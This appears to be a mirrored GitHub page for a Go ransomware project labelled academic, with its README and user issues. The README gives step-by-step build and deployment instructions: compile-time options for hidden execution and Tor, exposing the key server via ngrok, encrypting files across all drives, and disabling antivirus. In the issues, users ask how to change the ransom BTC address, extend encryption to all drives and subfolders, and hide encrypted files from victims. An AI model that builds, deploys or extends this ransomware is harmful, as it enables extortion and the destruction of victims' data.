Git Product home page Git Product logo

ransomware's Introduction

Ransomware

Build Status

Note 1: This project is purely academic, use at your own risk. I do not encourage in any way the use of this software illegally or to attack targets without their previous authorization.

Note 2: Unfortunatelly now some antiviruses (including Windows Defender) detects the unlocker as a virus. Disable any antivirus to play with the project.

Remember, security is always a double-edged sword

Demo video (Old version, without Tor support):

DEMO

What is Ransomware?

Ransomware is a type of malware that prevents or limits users from accessing their system, either by locking the system's screen or by locking the users' files unless a ransom is paid. More modern ransomware families, collectively categorized as crypto-ransomware, encrypt certain file types on infected systems and forces users to pay the ransom through certain online payment methods to get a decrypt key.

Project Summary

This project was developed for the Computer Security course at my academic degree. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker.

The project is composed by three parts, the server, the malware and the unlocker.

The server store the victim's identification key along with the encryption key used by the malware.

The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a .onion domain allow you to hide almost completely your server.

Features

  • Run in Background (or not)
  • Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file.
  • Multithreaded.
  • RSA-4096 to secure the client/server communication.
  • Includes an Unlocker.
  • Optional TOR Proxy support.
  • Use an AES CTR Cypher with stream encryption to avoid load an entire file into memory.
  • Walk all drives by default.
  • Docker image for compilation.

Building the binaries

DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks!

First of all download the project outside your $GOPATH:

git clone github.com/mauri870/ransomware
cd ransomware

If you have Docker skip to the next section.

You need Go at least 1.11.2 with the $GOPATH/bin in your $PATH and $GOROOT pointing to your Go installation folder. For me:

export GOPATH=~/gopath
export PATH=$PATH:$GOPATH/bin
export GOROOT=/usr/local/go

Build the project require a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let's leave make do your job:

make deps
make

You can build the server for windows with make -e GOOS=windows.

Docker

./build-docker.sh make

Config Parameters

You can change some of the configs during compilation. Instead of run only make, you can use the following variables:

HIDDEN='-H windowsgui' # optional. If present the malware will run in background

USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server

SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware

SERVER_PORT=8080 # the server port, if using a domain you can set this to 80

GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows

Example:

make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin

The SERVER_ variables above only apply to the malware. The server has a flag --port that you can use to change the port that it will listen on.

DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks!

Step by Step Demo and How it Works

For this demo I'll use two machines, my personal linux machine and a windows 10 VM.

For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm.

In this demo we will use the Ngrok tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so .onion domains will work without problems.

First of all lets start our external domain:

ngrok http 8080

This command will give us a url like http://2af7161c.ngrok.io. Keep this command running otherwise the malware won't reach our server.

Let's compile the binaries (remember to replace the domain):

make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true

The SERVER_PORT needs to be 80 in this case, since ngrok redirects 2af7161c.ngrok.io:80 to your local server port 8080.

After build, a binary called ransomware.exe, and unlocker.exe along with a folder called server will be generated in the bin folder. The execution of ransomware.exe and unlocker.exe (even if you use a diferent GOOS variable during compilation) is locked to windows machines only.

Enter the server directory from another terminal and start it:

cd bin/server && ./server --port 8080

To make sure that all is working correctly, make a http request to http://2af7161c.ngrok.io:

curl http://2af7161c.ngrok.io

If you see a OK and some logs in the server output you are ready to go.

Now move the ransomware.exe and unlocker.exe to the VM along with some dummy files to test the malware. You can take a look at cmd/common.go to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others.

Then simply run the ransomware.exe and see the magic happens 😄.

The window that you see can be hidden using the HIDDEN option described in the compilation section.

After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone.

The encryption key exchanged with the server was used to encrypt all of your files. Each file has a random primitive called IV, generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact.

The only two sources of information available about what just happen are the READ_TO_DECRYPT.html and FILES_ENCRYPTED.html in the Desktop.

In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the unlocker.exe and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons.

Let's suppose you get your encryption key back. To recover the correct key point to the following url:

curl -k http://2af7161c.ngrok.io/api/keys/:id

Where :id is your identification stored in the file on desktop. After, run the unlocker.exe by double click and follow the instructions.

That's it, got your files back 😄

The server has only two endpoints:

POST api/keys/add - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error.

GET api/keys/:id - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error

The end

As you can see, building a functional ransomware, with some of the best existing algorithms is not dificult, anyone with some programming skills can build that in any programming language.

ransomware's People

Contributors

mauri870 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ransomware's Issues

bindata: Input path 'public.pem' is not a directory.

First of all, thank you for this great tool
and your support for it
but I have this problem and I tried to fix this in many ways but it's still happening
here is my issue:

cd /home/batman/Go/src/github.com/mauri870/ransomware/build/ransomware && go-bindata -pkg main -o public_key.go public.pem
bindata: Input path 'public.pem' is not a directory.
Makefile:22: recipe for target 'pre-build' failed
make: *** [pre-build] Error 1

hide encrypted files till encryption finished and storage capacity issue

Hi Mauri,
Thanks for awesome project. I tried locally and it did work but I can foresee some concern.
First of all I could see that I have encrypted file along with original. So it would be obvious that anyone infected could see that which is not good idea. I mean probably I didn't wait till it finish encrypting all file and hence I could see them as once all encryption finishes, only encrypted files left behind deleting originals? Am I correct? if not then how can we hide encrypted files until we finish with encryption?

Second is that If originals will be there till encryption finish and if there is not enough storage then our operation will crash and fails. Am I correct?

please can you look at this please.
Thanks bro in advanced and keep it up good work.
Jay

Well done - but failes in build

Hey, first thank you for this example.

Yesterday I was able to build on a live kali without bigger problems.
I changed my test setup and created some vms but i wasnt able to build sucesfully again...
One Issue is that after the debian install "apt install golang" there is no $GOPATH and $GOROOT set.
I usually check where the main files are "/usr/lib/go" and export GOROOT.
I set the GOPATH to $HOME/go and checked for "apt install build-essential".
^- maybe put these in "prerequisites"

I added the working dir to the PATH env ( export PATH=$PATH:$GOPATH/bin ).

Today im not able to build your project on any system. (Tried a debian8, ubuntu14, kali)
I got the same error over and over again:
mkdir -p /root/go/src/github.com/mauri870/ransomware/bin/server
cd /root/go/src/github.com/mauri870/ransomware/build/ransomware && GOOS=windows GOARCH=386 go build --ldflags "-s -w -H windowsgui -X main.ServerBaseURL=https://192.168.31.131:8080" -o /root/go/src/github.com/mauri870/ransomware/bin/ransomware.exe
#github.com/mauri870/ransomware/build/ransomware
runtime.main: call to external function main.main
runtime.main: undefined: main.main
Makefile:33: recipe for target 'build' failed
make: *** [build] Error 2

Thank you in advance

help me! make error

I do not know programming. But I am studying hard. There was a problem building your project.

image

where is generate_cert.go ? Where can I get it?
generate_cert.go program it myself? It is harsh for me....TT
I respect you. I need help.

command not found

$ ./build-docker.sh make
Building the image...
./build-docker.sh: line 14: docker: command not found

Thank you for help
I have a question can i edit the panel where it says your files are encrypted etc to change my btc adress

Files not encrypting & server side error

I have a problem..what a happen..?

error

I attached another generate_cert.go source
succeed make..
Files not encrypting... server side error....
help me.........TT

make: rsrc: Command not found

cd /root/usr/local/src/src/github.com/mauri870/ransomware/build/ransomware && go-bindata -pkg main -o public_key.go public.pem
rsrc -manifest ransomware.manifest -ico icon.ico -o /root/usr/local/src/src/github.com/mauri870/ransomware/build/ransomware/ransomware.syso
make: rsrc: Command not found
Makefile:22: recipe for target 'pre-build' failed
make: *** [pre-build] Error 127

Cool name

I think we need a different name rather than simply call it "ransomware", we need a identity

Suggest your cool name here ;)

How Can This Error be Fix

I dont not have Linux OS(on VirtualBox). I configured cygwin on my Windows 8.

This is what I got when running the make command:

e is 65537 (0x10001)
openssl rsa -in /cygdrive/c/gowork/src/github.com/mauri870/ransomware/build/server/private.pem -outform PEM -pubout -out /cygdrive/c/gowork/src/github.com/mauri870/ransomware/build/ransomware/public.pem
writing RSA key
cd /cygdrive/c/gowork/src/github.com/mauri870/ransomware/build/ransomware && go-bindata -pkg main -o public_key.go public.pem
rsrc -manifest ransomware.manifest -ico icon.ico -o /cygdrive/c/gowork/src/github.com/mauri870/ransomware/build/ransomware/ransomware.syso
open /cygdrive/c/gowork/src/github.com/mauri870/ransomware/build/ransomware/ransomware.syso: The system cannot find the path specified.
make: *** [pre-build] Error 1

How can this be solved

Error public.pem

$ make
rm -r /home/test/go/src/github.com/mauri870/ransomware/bin || true
rm: não foi possível remover '/home/test/go/src/github.com/mauri870/ransomware/bin': Arquivo ou diretório não encontrado
mkdir -p /home/test/go/src/github.com/mauri870/ransomware/build/ransomware /home/test/go/src/github.com/mauri870/ransomware/build/unlocker /home/test/go/src/github.com/mauri870/ransomware/build/server
openssl genrsa -out /home/test/go/src/github.com/mauri870/ransomware/build/server/private.pem 4096
Generating RSA private key, 4096 bit long modulus
......++
.............................................++
e is 65537 (0x10001)
openssl rsa -in /home/test/go/src/github.com/mauri870/ransomware/build/server/private.pem -outform PEM -pubout -out /home/test/go/src/github.com/mauri870/ransomware/build/ransomware/public.pem
writing RSA key
cd /home/test/go/src/github.com/mauri870/ransomware/build/ransomware && go-bindata -pkg main -o public_key.go public.pem
bindata: Input path 'public.pem' is not a directory.
Makefile:22: recipe for target 'pre-build' failed
make: *** [pre-build] Error 1

Unlocker not working

Unlocker is not working.
Tested it on multiple different windows 10 environments.

It successfully crypts the files, I can see the decryption key in the Server, but when use the unlocker, the files are not decrypter.
After inserting the decrypt key, the "unlocker" window just closes immediatly, giving no output and no feedback.

no Go files in ( Error )

How can I fix this ?

[root@server ~]# go get -v github.com/mauri870/ransomware
github.com/mauri870/ransomware (download)
created GOPATH=/root/go; see 'go help gopath'
package github.com/mauri870/ransomware: no Go files in /root/go/src/github.com/mauri870/ransomware
[root@server ~]# cd $GOPATH/src/github.com/mauri870/ransomware
-bash: cd: /src/github.com/mauri870/ransomware: No such file or directory

Files damaged please help !

hello dear
i have i really big problem i tasted ransomware in my vm and it's working
but when i have tried in my host something interrupt the encryption operation
and i tried again for three times
and now when i'm encrypting my files it want run all files damaged and the ransomware didn't change the files name or extension please help me i don't know what to do

Ignore already infected victim

The malware need a form to recognize if the actual user is already infected and skip before trigger the encryption proccess.

My idea is something like a "lock file", a hidden file or whatever created by the malware after finish the encryption process. This file will store the encryption id to make possible the malware retrieve some information from de C&C server (this will be implemented later) and obviously after the victim unlock the files it need to be removed

I will leave this issue open for discussion and ideas

Beginner Question

Hey,
downloaded Linux on parallel desktop . Do I need any extra software ? Can somebody gives me an instruction for noobs ?
thx

Scan Sub directories and Drives.

1- sub directories like in current user + pictures + any Sub directory of pictures.
i tried with single sub directory by providing path: UserDir + "Pictures\\images",
it do encrypt the images folder but on decryption the images which are placed on Pictures\\images folder are not readable.

2- Also search and encrypt/decrypt files extensions in other available drives.

Custom Paths and Extensions

where can i define custom extensions and custom paths ?
i have tried this in win 7 vm. it encrypts some csv files on c and pictures on c drive.
but it didn't create any html file on desktop.

Error 422

I compiled it like described:

mkdir -p /root/gocode/src/github.com/mauri870/ransomware/build/ransomware
mkdir -p /root/gocode/src/github.com/mauri870/ransomware/build/server
mkdir -p /root/gocode/src/github.com/mauri870/ransomware/build/unlocker
openssl genrsa -out /root/gocode/src/github.com/mauri870/ransomware/build/server/private.pem 4096
Generating RSA private key, 4096 bit long modulus
..................................................................................................++
.....................................................++
e is 65537 (0x010001)
openssl rsa -in /root/gocode/src/github.com/mauri870/ransomware/build/server/private.pem -outform PEM -pubout -out /root/gocode/src/github.com/mauri870/ransomware/client/public.pem
writing RSA key
rsrc -manifest ransomware.manifest -ico icon.ico -o /root/gocode/src/github.com/mauri870/ransomware/build/ransomware/ransomware.syso
Manifest ID:  1
Icon  icon.ico  ID:  20
cp /root/gocode/src/github.com/mauri870/ransomware/build/ransomware/ransomware.syso /root/gocode/src/github.com/mauri870/ransomware/build/unlocker/unlocker.syso
cp -r cmd/ransomware /root/gocode/src/github.com/mauri870/ransomware/build
cp -r server /root/gocode/src/github.com/mauri870/ransomware/build
cp -r cmd/unlocker /root/gocode/src/github.com/mauri870/ransomware/build
cd  /root/gocode/src/github.com/mauri870/ransomware/client && perl -pi.bak -e 's/INJECT_PUB_KEY_HERE/`echo -n "\n"; cat public.pem`/e' main.go
cd /root/gocode/src/github.com/mauri870/ransomware/build/server && perl -pi -e 's/INJECT_PRIV_KEY_HERE/`echo -n "\n"; cat private.pem`/e' main.go
cd /root/gocode/src/github.com/mauri870/ransomware/build/server && env GOOS=linux go run $GOROOT/src/crypto/tls/generate_cert.go --host localhost
2017/02/03 14:15:16 written cert.pem
2017/02/03 14:15:16 written key.pem
mkdir -p /root/gocode/src/github.com/mauri870/ransomware/bin
mkdir -p /root/gocode/src/github.com/mauri870/ransomware/bin/server
cd /root/gocode/src/github.com/mauri870/ransomware/build/ransomware && GOOS=windows GOARCH=386 go build --ldflags "-s -w" -o /root/gocode/src/github.com/mauri870/ransomware/bin/ransomware.exe
# cd /root/gocode/src/github.com/mauri870/ransomware/build/ransomware && GOOS=windows GOARCH=386 go build --ldflags "-s -w -H windowsgui" -o /root/gocode/src/github.com/mauri870/ransomware/bin/ransomware.exe
cd /root/gocode/src/github.com/mauri870/ransomware/build/unlocker && GOOS=windows GOARCH=386 go build --ldflags "-s -w" -o /root/gocode/src/github.com/mauri870/ransomware/bin/unlocker.exe
cd /root/gocode/src/github.com/mauri870/ransomware/build/server && go build && mv `ls|grep 'server\|key.pem\|cert.pem'` /root/gocode/src/github.com/mauri870/ransomware/bin/server
cd client && rm public.pem && mv main.go.bak main.go
rm -r build

When running ransomware.exe in a Windows 7 VM it results in error:
422 - Error validating payload, bad public key

And log from server shows also 422 response code.
Is the ransomware not trusting self signed certs?

Need help

Hello im using windows 10 and could someone help me to build the randsomeware

different dns

Hello again bro
This time I have used docker for building binaries
But When I run the exe file in another computer It shows this error.
Where is the problem?
ekran resmi 2018-07-06 19 48 27
ekran resmi 2018-07-06 19 48 16

VIDEO TUTORIAL

pls make a more detailed NEW VIDEO on it
bcz the old video is without TOR support and pls add VOICE to your VIDEO too.

thx ;-)

Write to all users on the system?

Is it possible to have the script write the 2 html files (files encrypted, and how to decrypt) to all users instead of just the one who runs the script?

Access Denied

I'm just starting out programming and I'm stuck with something here,

it's not encrypting anything, only trying to open the folders and getting access denied. The software runs as administrator.
If I change the code like this though (which you suggested in another issue):
// Directories to walk searching for files InterestingDirs = []string{ UserDir + "Pictures", UserDir + "Documents", UserDir + "Music", UserDir + "Desktop", UserDir + "Downloads", UserDir + "Videos", "E:\\", }
It encrypts the files in these folders, but only these folders without subfolders, drive E fails though.

Maybe you can help me out

Tor static link and cross compilation

Hi guys, I've found some problems with the compilation with tor statically linked on the malware. I'm on this feature

It's currently working on linux but the malware is only for windows so we need make the cross compilation.

The Makefile has been updated to download tor and it's dependecies and compile then.
The malware is now importing the main C code of tor and start it.

I'm compiling with the following command:

go build --ldflags '-extldflags "-static"' -o $(BIN_DIR)/ransomware

And I got it working with no problems
But when I try to compile for windows...

env GOOS=windows CGO_ENABLED=1 go build --ldflags '-extldflags "-static" -H windowsgui' -o $(BIN_DIR)/ransomware.exe

Invalid option --mthreads

Well, I update this command to use mingw:

env GOOS=windows CGO_ENABLED=1 GOARCH=386 CC=i686-w64-mingw32-gcc go build --ldflags '-extldflags "-static" -H windowsgui' -o $(BIN_DIR)/ransomware.exe

And it thrown errors like netdb.h not found (WTF it is on the standard library :|)

Then if I add -I/usr/include to the CFLAGS on the malware I receive a bunch of warnings for conflicts with methods :(

If anyone has knowledge to help I would appreciate, cheers!

Files not encrypting

I am new to golang, I am able to make exe. When I ran.. Its throwing files like SID and files encrypted.

Problems: its not encrypting all files on desktop or any other foldrrs .

Is I am missing anything ?

I can see message that encrypted 3 files .INI but not sure what's wrong

Please suggest.

Add drive

Hi
This ransomware only lock userprofile folder
Please add a option for support all drive
C: d: and other
But in c: don't lock any thing in program files and eindows folder

GOOS=windows make error

GOOS=windows make
rm -r /usr/local/go/ransomware/bin || true
rm: cannot remove '/usr/local/go/ransomware/bin': No such file or directory
mkdir -p /usr/local/go/ransomware/build/ransomware /usr/local/go/ransomware/build/unlocker /usr/local/go/ransomware/build/server
openssl genrsa -out /usr/local/go/ransomware/build/server/private.pem 4096
Generating RSA private key, 4096 bit long modulus
..........................++
..............++
e is 65537 (0x010001)
openssl rsa -in /usr/local/go/ransomware/build/server/private.pem -outform PEM -pubout -out /usr/local/go/ransomware/build/ransomware/public.pem
writing RSA key
cd /usr/local/go/ransomware/build/ransomware && go-bindata -pkg main -o public_key.go public.pem
/bin/sh: 1: go-bindata: not found
Makefile:22: recipe for target 'pre-build' failed
make: *** [pre-build] Error 127

path problems

Hello bro,
I am facing this errors since last day. I am pretty ocb about to fix it today. Could you help me?
thanks!

ekran resmi 2018-07-03 20 06 52
ekran resmi 2018-07-03 19 58 32
ekran resmi 2018-07-03 19 57 49

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.